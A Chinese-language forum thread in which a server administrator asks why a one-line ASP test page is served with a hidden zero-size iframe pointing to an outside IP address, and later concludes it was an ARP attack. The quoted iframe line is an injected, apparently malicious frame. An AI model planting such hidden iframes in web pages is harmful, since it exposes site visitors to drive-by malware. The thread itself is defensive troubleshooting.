请问这是怎么回事？ASP文件.

[zhangxian_gege]

test.asp 文件的源代码是：

测试。。。。。
仅一行！


放在服务器上，通过网址访问test.asp文件，偶尔发现 test[1].txt,也就是网页浏览后的源文件是：
<iframe src=http://222.39.77.29/Inc/ width=0 height=0></iframe> 测试。。。。。

然后我将test.asp改成test.htm，之后访问test.htm就一直正常！
请问，这是怎么回事啊？服务器上的test.asp文件未被修改，还是只有一行代码。请问这是中的什么招！！！！

[BoyHaXin]

呵呵,顶

[wggipkhgef]

问一下你的空间提供商吧,有很多空间都会加广告框架,特别是免费空间,如果是收费空间的话就要求你的空间提供商杀毒吧

[Atai-Lu]

不懂,如果源码中真的只有几个中文加几个句号,那么恭喜你,文件的确被修改过了...

[zhangxian_gege]

但是我上服务器上查看，源文件确实没有被修改！！！！

[李睿_Lee]

中木马了。
在asp文件解释时被加入了。
查毒吧。。。

[jatelo_hele]

应该不是简单的网页木马吧,最不济的办法......重装系统

然后再分析相关问题

最怕被人装了rootkit.....蒙住了眼了

[zhangxian_gege]

服务器是我在管理，我分析了所有进程，也查了所有网页，也安装了防火墙，可以肯定服务器没有中毒。

[zhangxian_gege]

急！！！！！！！！！！！！

[zhangxian_gege]

原来是ARP攻击！